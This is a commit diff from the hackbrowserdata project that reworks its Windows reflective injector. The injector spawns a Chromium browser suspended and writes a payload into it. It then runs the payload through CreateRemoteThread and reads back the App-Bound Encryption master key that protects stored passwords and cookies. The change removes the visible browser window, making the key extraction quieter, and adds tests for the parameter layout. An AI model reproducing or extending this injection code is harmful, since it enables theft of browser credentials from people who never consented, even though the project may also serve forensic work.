fix(windows): harden the ABE payload injection lifecycle (#638)

* fix(windows): harden the ABE payload injection lifecycle

The browser main thread is never resumed, so no window appears and the temp user-data-dir is unnecessary. Payload memory is RW then RX, with an explicit FlushInstructionCache before the remote thread executes it.

* test(windows): use US spelling in offset test

* fix(windows): validate bootstrap parameter encoding

utils/injector/pe_windows_test.go

@@ -48,7 +48,7 @@ func TestDetectPEArch_EmptyInput(t *testing.T) {
 }
 
 // TestFindExportFileOffset_KnownExports walks a handful of kernel32 exports
-// that Bootstrap also relies on via pre-resolved import patching. Passing
+// that Bootstrap also relies on via its remote parameter block. Passing
 // here means both the export-table walker and the RVA→file-offset converter
 // work against a real Windows PE — not just against fixtures we control.
 func TestFindExportFileOffset_KnownExports(t *testing.T) {

utils/injector/reflective_windows.go

@@ -6,8 +6,10 @@ import (
 	"encoding/binary"
 	"fmt"
 	"os"
+	"runtime"
 	"syscall"
 	"time"
+	"unsafe"
 
 	"golang.org/x/sys/windows"
 
@@ -22,8 +24,9 @@ type Reflective struct {
 const (
 	exportName = "Bootstrap"
 	// 30s covers GoogleChromeElevationService cold-start on first call after boot.
-	defaultWait   = 30 * time.Second
-	terminateWait = 2 * time.Second
+	defaultWait             = 30 * time.Second
+	terminateWait           = 2 * time.Second
+	bootstrapParamFieldSize = 8
 )
 
 func (r *Reflective) Inject(exePath string, payload []byte, env map[string]string) ([]byte, error) {
@@ -33,13 +36,11 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
 	if exePath == "" {
 		return nil, fmt.Errorf("injector: empty exePath")
 	}
-
-	loaderRVA, err := validateAndLocateLoader(payload)
-	if err != nil {
-		return nil, err
+	if runtime.GOARCH != "amd64" {
+		return nil, fmt.Errorf("injector: only amd64 is supported (got %s)", runtime.GOARCH)
 	}
 
-	patched, err := patchPreresolvedImports(payload)
+	loaderRVA, err := validateAndLocateLoader(payload)
 	if err != nil {
 		return nil, err
 	}
@@ -47,11 +48,10 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
 	restore := setEnvTemporarily(env)
 	defer restore()
 
-	pi, udd, err := spawnSuspended(exePath)
+	pi, err := spawnSuspended(exePath)
 	if err != nil {
 		return nil, err
 	}
-	defer os.RemoveAll(udd)
 	defer windows.CloseHandle(pi.Process)
 	defer windows.CloseHandle(pi.Thread)
 
@@ -63,25 +63,25 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
 		}
 	}()
 
-	remoteBase, err := writeRemotePayload(pi.Process, patched)
+	remoteBase, err := writeRemotePayload(pi.Process, payload)
+	if err != nil {
+		return nil, err
+	}
+	scratchBase, err := allocateScratch(pi.Process)
+	if err != nil {
+		return nil, err
+	}
+	paramsBase, err := writeBootstrapParams(pi.Process, scratchBase)
 	if err != nil {
 		return nil, err
 	}
 
-	// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
-	// self-contained but the later elevation_service COM call inside the payload relies on a
-	// fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/
-	// scheduler infrastructure — the child will show a normal browser window under the isolated
-	// --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything.
-	_, _ = windows.ResumeThread(pi.Thread)
-	time.Sleep(500 * time.Millisecond)
-
-	if err := runAndWait(pi.Process, remoteBase, loaderRVA, r.wait()); err != nil {
+	if err := runAndWait(pi.Process, remoteBase, loaderRVA, paramsBase, r.wait()); err != nil {
 		return nil, err
 	}
 
 	// Read output before TerminateProcess — after kill the memory is gone.
-	result, readErr := readScratch(pi.Process, remoteBase)
+	result, readErr := readScratch(pi.Process, scratchBase)
 
 	_ = windows.TerminateProcess(pi.Process, 0)
 	_, _ = windows.WaitForSingleObject(pi.Process, uint32(terminateWait/time.Millisecond))
@@ -133,63 +133,35 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
 	return off, nil
 }
 
-// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
-// Only --user-data-dir=<temp> is passed — this is the one switch that matters: it escapes the running
-// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the
-// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window,
-// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain
-// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had
-// "nothing to do" after bypassing window creation — letting the browser show a normal window under
-// the isolated UDD is the most compatible behavior across forks and Windows versions.
-func buildIsolatedCommandLine(exePath, udd string) string {
-	// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
-	// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
-	//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
-	return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd)
-}
-
-// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
-// passed so the spawned chrome.exe does not collide with any already-running Chrome instance's
-// ProcessSingleton (which would call ExitProcess as soon as main() runs, killing our remote Bootstrap
-// thread before it can publish the master key). The temp UDD is returned so the caller can remove it
-// after injection.
-func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error) {
-	udd, err := os.MkdirTemp("", "hbd-inj-udd-*")
-	if err != nil {
-		return nil, "", fmt.Errorf("injector: make temp user-data-dir: %w", err)
-	}
-
-	cmdLine := buildIsolatedCommandLine(exePath, udd)
-	cmdPtr, err := syscall.UTF16PtrFromString(cmdLine)
-	if err != nil {
-		_ = os.RemoveAll(udd)
-		return nil, "", fmt.Errorf("injector: command line: %w", err)
-	}
+// spawnSuspended launches exePath with its primary thread suspended. The browser's normal startup
+// path is never resumed; only the remote Bootstrap thread runs, matching the ABE reference injector
+// and avoiding any top-level Chromium UI.
+func spawnSuspended(exePath string) (*windows.ProcessInformation, error) {
 	exePtr, err := syscall.UTF16PtrFromString(exePath)
 	if err != nil {
-		_ = os.RemoveAll(udd)
-		return nil, "", fmt.Errorf("injector: exe path: %w", err)
+		return nil, fmt.Errorf("injector: exe path: %w", err)
+	}
+	si := &windows.StartupInfo{
+		Cb: uint32(unsafe.Sizeof(windows.StartupInfo{})),
 	}
-	si := &windows.StartupInfo{}
 	pi := &windows.ProcessInformation{}
 	err = windows.CreateProcess(
-		exePtr, cmdPtr, nil, nil,
+		exePtr, nil, nil, nil,
 		false,
 		windows.CREATE_SUSPENDED,
 		nil, nil, si, pi,
 	)
 	if err != nil {
-		_ = os.RemoveAll(udd)
-		return nil, "", fmt.Errorf("injector: CreateProcess: %w", err)
+		return nil, fmt.Errorf("injector: CreateProcess: %w", err)
 	}
-	return pi, udd, nil
+	return pi, nil
 }
 
 func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
 	remoteBase, err := winapi.VirtualAllocEx(proc,
 		uintptr(len(payload)),
 		uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
-		uint32(windows.PAGE_EXECUTE_READWRITE),
+		uint32(windows.PAGE_READWRITE),
 	)
 	if err != nil {
 		return 0, fmt.Errorf("injector: %w", err)
@@ -202,6 +174,88 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
 	if int(written) != len(payload) {
 		return 0, fmt.Errorf("injector: short write to target (%d/%d)", written, len(payload))
 	}
+	if _, err := winapi.VirtualProtectEx(proc, remoteBase, uintptr(len(payload)), uint32(windows.PAGE_EXECUTE_READ)); err != nil {
+		return 0, fmt.Errorf("injector: protect payload: %w", err)
+	}
+	// Required before the region is executed. Bootstrap flushes again once it has mapped the
+	// payload's own sections, but that runs too late to cover its own first instruction.
+	if err := winapi.FlushInstructionCache(proc, remoteBase, uintptr(len(payload))); err != nil {
+		return 0, fmt.Errorf("injector: flush instruction cache: %w", err)
+	}
+	return remoteBase, nil
+}
+
+func allocateScratch(proc windows.Handle) (uintptr, error) {
+	// Keep the old scratch offsets stable for diagnostics/key reads, but place the scratch area in
+	// its own RW allocation so the raw payload image can be execute-only after writing.
+	const scratchSize = bootstrap.KeyOffset + bootstrap.KeyLen
+	remoteBase, err := winapi.VirtualAllocEx(proc,
+		uintptr(scratchSize),
+		uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
+		uint32(windows.PAGE_READWRITE),
+	)
+	if err != nil {
+		return 0, fmt.Errorf("injector: allocate scratch: %w", err)
+	}
+	return remoteBase, nil
+}
+
+// encodeBootstrapParams lays out the C BootstrapParams struct using the cgo-generated field
+// offsets, so a field added or reordered in bootstrap_layout.h shows up as a layout.go diff
+// rather than as a silently misread pointer inside the target process.
+func encodeBootstrapParams(scratchBase uintptr) ([]byte, error) {
+	fields := []struct {
+		offset int
+		addr   uintptr
+	}{
+		{bootstrap.ParamScratchBase, scratchBase},
+		{bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
+		{bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
+		{bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
+		{bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
+		{bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
+	}
+	params := make([]byte, bootstrap.ParamsSize)
+	for _, f := range fields {
+		if f.addr == 0 {
+			return nil, fmt.Errorf("injector: failed to resolve one or more bootstrap params")
+		}
+		if err := putBootstrapParam(params, f.offset, f.addr); err != nil {
+			return nil, err
+		}
+	}
+	return params, nil
+}
+
+func putBootstrapParam(params []byte, offset int, addr uintptr) error {
+	if offset < 0 || offset > len(params)-bootstrapParamFieldSize {
+		return fmt.Errorf("injector: bootstrap param offset %d out of bounds for %d-byte block", offset, len(params))
+	}
+	binary.LittleEndian.PutUint64(params[offset:offset+bootstrapParamFieldSize], uint64(addr))
+	return nil
+}
+
+func writeBootstrapParams(proc windows.Handle, scratchBase uintptr) (uintptr, error) {
+	params, err := encodeBootstrapParams(scratchBase)
+	if err != nil {
+		return 0, err
+	}
+
+	remoteBase, err := winapi.VirtualAllocEx(proc,
+		uintptr(len(params)),
+		uint32(windows.MEM_COMMIT|windows.MEM_RESERVE),
+		uint32(windows.PAGE_READWRITE),
+	)
+	if err != nil {
+		return 0, fmt.Errorf("injector: allocate bootstrap params: %w", err)
+	}
+	var written uintptr
+	if err := windows.WriteProcessMemory(proc, remoteBase, &params[0], uintptr(len(params)), &written); err != nil {
+		return 0, fmt.Errorf("injector: write bootstrap params: %w", err)
+	}
+	if int(written) != len(params) {
+		return 0, fmt.Errorf("injector: short write to bootstrap params (%d/%d)", written, len(params))
+	}
 	return remoteBase, nil
 }
 
@@ -209,9 +263,9 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
 // process is still running; any other value means the process has already terminated.
 const stillActive uint32 = 259
 
-func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
+func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, param uintptr, wait time.Duration) error {
 	entry := remoteBase + uintptr(loaderRVA)
-	hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
+	hThread, err := winapi.CreateRemoteThread(proc, entry, param)
 	if err != nil {
 		// Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy,
 		// version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx
@@ -281,40 +335,6 @@ func readScratch(proc windows.Handle, remoteBase uintptr) (scratchResult, error)
 	return result, nil
 }
 
-// patchPreresolvedImports writes five pre-resolved Win32 function pointers into the payload's DOS stub
-// so Bootstrap skips PEB.Ldr traversal entirely. Validity relies on KnownDlls + session-consistent
-// ASLR (kernel32 and ntdll share the same virtual address across processes in one boot session).
-func patchPreresolvedImports(payload []byte) ([]byte, error) {
-	if len(payload) < bootstrap.ImpNtFlushICOffset+8 {
-		return nil, fmt.Errorf("injector: payload too small for pre-resolved import patch")
-	}
-
-	pLoadLibraryA := winapi.AddrLoadLibraryA()
-	pGetProcAddress := winapi.AddrGetProcAddress()
-	pVirtualAlloc := winapi.AddrVirtualAlloc()
-	pVirtualProtect := winapi.AddrVirtualProtect()
-	pNtFlushIC := winapi.AddrNtFlushInstructionCache()
-
-	if pLoadLibraryA == 0 || pGetProcAddress == 0 || pVirtualAlloc == 0 ||
-		pVirtualProtect == 0 || pNtFlushIC == 0 {
-		return nil, fmt.Errorf("injector: failed to resolve one or more pre-resolved imports")
-	}
-
-	patched := make([]byte, len(payload))
-	copy(patched, payload)
-
-	writeAddr := func(off int, addr uintptr) {
-		binary.LittleEndian.PutUint64(patched[off:off+8], uint64(addr))
-	}
-	writeAddr(bootstrap.ImpLoadLibraryAOffset, pLoadLibraryA)
-	writeAddr(bootstrap.ImpGetProcAddressOffset, pGetProcAddress)
-	writeAddr(bootstrap.ImpVirtualAllocOffset, pVirtualAlloc)
-	writeAddr(bootstrap.ImpVirtualProtectOffset, pVirtualProtect)
-	writeAddr(bootstrap.ImpNtFlushICOffset, pNtFlushIC)
-
-	return patched, nil
-}
-
 // setEnvTemporarily mutates the current process's env; NOT concurrency-safe. Callers must serialize
 // Inject calls.
 func setEnvTemporarily(env map[string]string) func() {

utils/injector/reflective_windows_test.go

@@ -0,0 +1,112 @@
+//go:build windows && amd64
+
+package injector
+
+import (
+	"encoding/binary"
+	"testing"
+
+	"github.com/moond4rk/hackbrowserdata/crypto/windows/abe_native/bootstrap"
+	"github.com/moond4rk/hackbrowserdata/utils/winapi"
+)
+
+// The C payload reads BootstrapParams by field offset while Go writes it as a flat byte
+// slice, so this pins the encoding to the cgo-generated offsets rather than to field order.
+func TestEncodeBootstrapParams(t *testing.T) {
+	const scratchBase = 0xDEADBEEF000
+
+	params, err := encodeBootstrapParams(scratchBase)
+	if err != nil {
+		t.Fatalf("encodeBootstrapParams: %v", err)
+	}
+	if len(params) != bootstrap.ParamsSize {
+		t.Fatalf("params size = %d, want %d (C sizeof(BootstrapParams))", len(params), bootstrap.ParamsSize)
+	}
+
+	cases := []struct {
+		name   string
+		offset int
+		want   uintptr
+	}{
+		{"scratch_base", bootstrap.ParamScratchBase, scratchBase},
+		{"LoadLibraryA", bootstrap.ParamLoadLibraryA, winapi.AddrLoadLibraryA()},
+		{"GetProcAddress", bootstrap.ParamGetProcAddress, winapi.AddrGetProcAddress()},
+		{"VirtualAlloc", bootstrap.ParamVirtualAlloc, winapi.AddrVirtualAlloc()},
+		{"VirtualProtect", bootstrap.ParamVirtualProtect, winapi.AddrVirtualProtect()},
+		{"NtFlushInstructionCache", bootstrap.ParamNtFlushIC, winapi.AddrNtFlushInstructionCache()},
+	}
+	for _, tc := range cases {
+		got := binary.LittleEndian.Uint64(params[tc.offset : tc.offset+8])
+		if got != uint64(tc.want) {
+			t.Errorf("%s at offset 0x%x = %#x, want %#x", tc.name, tc.offset, got, tc.want)
+		}
+		if tc.want == 0 {
+			t.Errorf("%s resolved to a null address", tc.name)
+		}
+	}
+}
+
+func TestPutBootstrapParamBounds(t *testing.T) {
+	const want = uintptr(0x0123456789ABCDEF)
+	tests := []struct {
+		name    string
+		size    int
+		offset  int
+		wantErr bool
+	}{
+		{name: "last valid field", size: 16, offset: 8},
+		{name: "negative offset", size: 8, offset: -1, wantErr: true},
+		{name: "short block", size: 7, offset: 0, wantErr: true},
+		{name: "one past end", size: 8, offset: 1, wantErr: true},
+		{name: "maximum offset", size: 8, offset: int(^uint(0) >> 1), wantErr: true},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			params := make([]byte, tt.size)
+			err := putBootstrapParam(params, tt.offset, want)
+			if tt.wantErr {
+				if err == nil {
+					t.Fatal("putBootstrapParam returned nil error")
+				}
+				return
+			}
+			if err != nil {
+				t.Fatalf("putBootstrapParam: %v", err)
+			}
+			if got := binary.LittleEndian.Uint64(params[tt.offset:]); got != uint64(want) {
+				t.Errorf("encoded value = %#x, want %#x", got, want)
+			}
+		})
+	}
+}
+
+// Every field must land inside the struct and none may overlap — a stale offset constant
+// would otherwise corrupt a neighboring pointer instead of failing loudly.
+func TestBootstrapParamOffsetsAreDisjoint(t *testing.T) {
+	offsets := []int{
+		bootstrap.ParamScratchBase,
+		bootstrap.ParamLoadLibraryA,
+		bootstrap.ParamGetProcAddress,
+		bootstrap.ParamVirtualAlloc,
+		bootstrap.ParamVirtualProtect,
+		bootstrap.ParamNtFlushIC,
+	}
+	seen := make(map[int]bool, len(offsets))
+	for _, off := range offsets {
+		if off%8 != 0 {
+			t.Errorf("offset 0x%x is not 8-byte aligned", off)
+		}
+		if off < 0 || off > bootstrap.ParamsSize-bootstrapParamFieldSize {
+			t.Errorf("offset 0x%x overruns params block of %d bytes", off, bootstrap.ParamsSize)
+		}
+		if seen[off] {
+			t.Errorf("offset 0x%x used by more than one field", off)
+		}
+		seen[off] = true
+	}
+	if len(seen)*bootstrapParamFieldSize != bootstrap.ParamsSize {
+		t.Errorf("%d fields cover %d bytes, but C sizeof(BootstrapParams) is %d",
+			len(seen), len(seen)*bootstrapParamFieldSize, bootstrap.ParamsSize)
+	}
+}